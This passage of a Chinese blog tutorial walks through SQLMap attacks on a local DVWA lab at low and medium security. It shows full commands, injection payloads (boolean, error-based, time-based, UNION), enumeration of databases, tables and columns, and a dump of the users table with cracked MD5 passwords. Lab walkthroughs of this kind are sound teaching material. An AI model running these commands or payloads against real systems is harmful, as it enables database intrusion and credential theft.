--cookie="PHPSESSID=g9ru8lin880c3191bq7csgoq9s; security=low" --batch

# -u:指定目标URL
# --cookie:传入登录凭证
# --batch:自动选择默认选项,跳过询问,以下输出说明存在注入点

[15:20:43] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=' OR NOT 9257=9257#&Submit=Submit

Type: error-based
Title: MySQL >= 5.6 AND ..., HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=' AND GTID_SUBSET(CONCAT(...),7833)-- jHdo&Submit=Submit

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=' AND (SELECT 8155 FROM (SELECT(SLEEP(5)))dXaG)-- uytw&Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=' UNION ALL SELECT CONCAT(...),NULL#&Submit=Submit
---

7-2 获取数据库

1
2
3
4
5
6
7
8
9
10
11
sqlmap 
-u "http://localhost:81/vulnerabilities/sqli/?id=&Submit=Submit#"
--cookie="PHPSESSID=g9ru8lin880c3191bq7csgoq9s; security=low" --dbs

# --dbs:列出数据库

[15:29:34] [INFO] fetching database names
[15:29:34] [WARNING] reflective value(s) found and filtering out
available databases [2]:
[*] dvwa
[*] information_schema

7-3 获取数据库表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sqlmap 
-u "http://localhost:81/vulnerabilities/sqli/?id=&Submit=Submit#"
--cookie="PHPSESSID=g9ru8lin880c3191bq7csgoq9s; security=low" -D dvwa --tables

# -D dvwa:指定数据库
# --tables:列出表名

[15:35:49] [INFO] fetching tables for database: 'dvwa'
[15:35:49] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+

7-4 获取表中的列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
sqlmap 
-u "http://localhost:81/vulnerabilities/sqli/?id=&Submit=Submit#"
--cookie="PHPSESSID=g9ru8lin880c3191bq7csgoq9s; security=low"
-D dvwa -T users --columns

# -T users:指定表名
# --columns:列出字段

[15:38:34] [INFO] fetching columns for table 'users' in database 'dvwa'
[15:38:34] [WARNING] reflective value(s) found and filtering out
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| user | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+--------------+-------------+

7-5 获取敏感字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
sqlmap 
-u "http://localhost:81/vulnerabilities/sqli/?id=&Submit=Submit#"
--cookie="PHPSESSID=g9ru8lin880c3191bq7csgoq9s; security=low"
-D dvwa -T users -C "user, password" --dump --batch

# -C "user, password":指定要获取的列
# --dump:导出数据

[15:41:42] [INFO] fetching ... '`user`,password' for table 'users' in database 'dvwa'
[15:41:42] [WARNING] something ... Falling back to partial UNION technique
[15:41:42] [WARNING] the SQL query provided does not return any output
[15:41:42] [INFO] resumed: '1337'
[15:41:42] [INFO] resumed: '8d3533d75ae2c3966d7e0d4fcc69216b'
[15:41:42] [INFO] resumed: 'admin'
[15:41:42] [INFO] resumed: '5f4dcc3b5aa765d61d8327deb882cf99'
[15:41:42] [INFO] resumed: 'gordonb'
[15:41:42] [INFO] resumed: 'e99a18c428cb38d5f260853678922e03'
[15:41:42] [INFO] resumed: 'pablo'
[15:41:42] [INFO] resumed: '0d107d09f5bbe40cade3de5c71e9e9b7'
[15:41:42] [INFO] resumed: 'smithy'
[15:41:42] [INFO] resumed: '5f4dcc3b5aa765d61d8327deb882cf99'
[15:41:42] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file ... with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[15:41:42] [INFO] using hash method 'md5_generic_passwd'
[15:41:42] [INFO] resuming password 'charley' for hash '8d3533d...0d4fcc69216b'
[15:41:42] [INFO] resuming password 'password' for hash '5f4dcc...27deb882cf99'
[15:41:42] [INFO] resuming password 'abc123' for hash 'e99a18...60853678922e03'
[15:41:42] [INFO] resuming password 'letmein' for hash '0d107...e3de5c71e9e9b7'
Database: dvwa
Table: users
[5 entries]
+---------+---------------------------------------------+
| user | password |
+---------+---------------------------------------------+
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123) |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+---------------------------------------------+

[15:41:42] [INFO] table 'dvwa.users' dumped to CSV file
'C:\Users\...\AppData\Local\sqlmap\output\localhost\dump\dvwa\users.csv'

8 SQLMap中级进阶

1
2
3
4
将DVWA靶场设为Medium,目标地址为http://localhost:81/vulnerabilities/sqli/
SQL Injection使用了POST方法(POST注入使用--data参数),并且前端使用下拉菜单
F12查看cookie,切换到负载查看,表单数据仍然为id=1&Submit=Submit
cookie值:PHPSESSID=g9ru8lin880c3191bq7csgoq9s; security=medium

8-1 确认注入点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
sqlmap
-u "http://localhost:81/vulnerabilities/sqli/"
--cookie="PHPSESSID=g9ru8lin880c3191bq7csgoq9s; security=medium"
--data="id=1&Submit=Submit" -p id --batch

# --data:这是一个POST请求,并放入请求体内容
# -p:指定测试参数为id
# 若存在多个参数,优先考虑id、uid、user_id(看起来类似数据库的参数)
# 其次keyword、search(搜索框对应的参数),最后sort、order(排序参数)
# 如果都失败,就不指定参数,让SQLMap全扫并适当提高--level

[16:25:52] [INFO] target URL appears to have 2 columns in query
[16:25:52] [INFO] POST parameter 'id' is '...' injectable
POST parameter 'id' is vulnerable. Do you want to ... the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: id (POST)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: id=(SELECT (CASE WHEN (2937=2937) THEN 1 ELSE (...) END))&Submit=Submit

Type: error-based
Title: MySQL >= 5.6 AND error-based ..., ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=1 AND GTID_SUBSET(CONCAT(...),4380)&Submit=Submit

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 5029 FROM (SELECT(SLEEP(5)))JdIC)&Submit=Submit

Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=1 UNION ALL SELECT NULL,CONCAT(...)-- -&Submit=Submit
---

8-2 获取数据库

1
2
3
4
5
6
7
8
9
sqlmap
-u "http://localhost:81/vulnerabilities/sqli/"
--cookie="PHPSESSID=g9ru8lin880c3191bq7csgoq9s; security=medium"
--data="id=1&Submit=Submit" --dbs

[16:31:56] [INFO] fetching database names
available databases [2]:
[*] dvwa
[*] information_schema

8-3 获取数据库表

1
2
3
4
5
6
7
8
9
10
11
12
sqlmap
-u "http://localhost:81/vulnerabilities/sqli/"
--cookie="PHPSESSID=g9ru8lin880c3191bq7csgoq9s; security=medium"
--data="id=1&Submit=Submit" -D dvwa --tables

[16:32:31] [INFO] fetching tables for database: 'dvwa'
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+

8-4 获取表中的列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sqlmap
-u "http://localhost:81/vulnerabilities/sqli/"
--cookie="PHPSESSID=g9ru8lin880c3191bq7csgoq9s; security=medium"
--data="id=1&Submit=Submit" -D dvwa -T users --columns

[16:33:25] [INFO] fetching columns for table 'users' in database 'dvwa'
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| user | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+--------------+-------------+

8-5 获取敏感字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
sqlmap
-u "http://localhost:81/vulnerabilities/sqli/"
--cookie="PHPSESSID=g9ru8lin880c3191bq7csgoq9s; security=medium"
--data="id=1&Submit=Submit" -D dvwa -T users -C "user,password" --dump --batch

[16:36:16] [INFO] fetching ... '`user`,password' for table 'users' in database 'dvwa'
[16:36:16] [WARNING] something ... Falling back to partial UNION technique
[16:36:16] [WARNING] the SQL query provided does not return any output
[16:36:16] [INFO] resumed: '1337'
[16:36:16] [INFO] resumed: '8d3533d75ae2c3966d7e0d4fcc69216b'
[16:36:16] [INFO] resumed: 'admin'
[16:36:16] [INFO] resumed: '5f4dcc3b5aa765d61d8327deb882cf99'
[16:36:16] [INFO] resumed: 'gordonb'
[16:36:16] [INFO] resumed: 'e99a18c428cb38d5f260853678922e03'
[16:36:16] [INFO] resumed: 'pablo'
[16:36:16] [INFO] resumed: '0d107d09f5bbe40cade3de5c71e9e9b7'
[16:36:16] [INFO] resumed: 'smithy'
[16:36:16] [INFO] resumed: '5f4dcc3b5aa765d61d8327deb882cf99'
[16:36:16] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for ... with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[16:36:16] [INFO] using hash method 'md5_generic_passwd'
[16:36:16] [INFO] resuming password 'charley' for hash '8d353...66d7e0d4fcc69216b'
[16:36:16] [INFO] resuming password 'password' for hash '5f4d...61d8327deb882cf99'
[16:36:16] [INFO] resuming password 'abc123' for hash 'e99a18...5f260853678922e03'
[16:36:16] [INFO] resuming password 'letmein' for hash '0d107...cade3de5c71e9e9b7'
Database: dvwa
Table: users
[5 entries]
+---------+---------------------------------------------+
| user | password |
+---------+---------------------------------------------+
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123) |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+---------------------------------------------+

[16:36:16] [INFO] table 'dvwa.users' dumped to CSV file
'C:\Users\...\AppData\Local\sqlmap\output\localhost\dump\dvwa\users.csv'

8-6 使用请求文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 【高级技巧】点击SQL Injection的Submit按钮,并使用Fiddler获取整个HTTP请求文件
# Fiddler选中请求 > 右键Save > Request > Entire Request > 保存为request.txt
sqlmap -r request.txt -p id

[16:55:17] [INFO] parsing HTTP request from 'request.txt'
[16:55:18] [INFO] resuming back-end DBMS 'mysql'
[16:55:18] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: id=(SELECT (CASE WHEN (2937=2937) THEN 1 ELSE (...) END))&Submit=Submit

Type: error-based
Title: MySQL >= 5.6 AND error-based ..., ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=1 AND GTID_SUBSET(CONCAT(...),4380)&Submit=Submit

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 5029 FROM (SELECT(SLEEP(5)))JdIC)&Submit=Submit

Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=1 UNION ALL SELECT NULL,CONCAT(...)-- -&Submit=Submit
---

SQLMap 的使用
https://stitch-top.github.io/2025/12/22/ce-shi-gong-ju/tt08-sqlmap/tt01-sqlmap-de-shi-yong/
作者
Dr.626
发布于
2025年12月22日 21:30:00
许可协议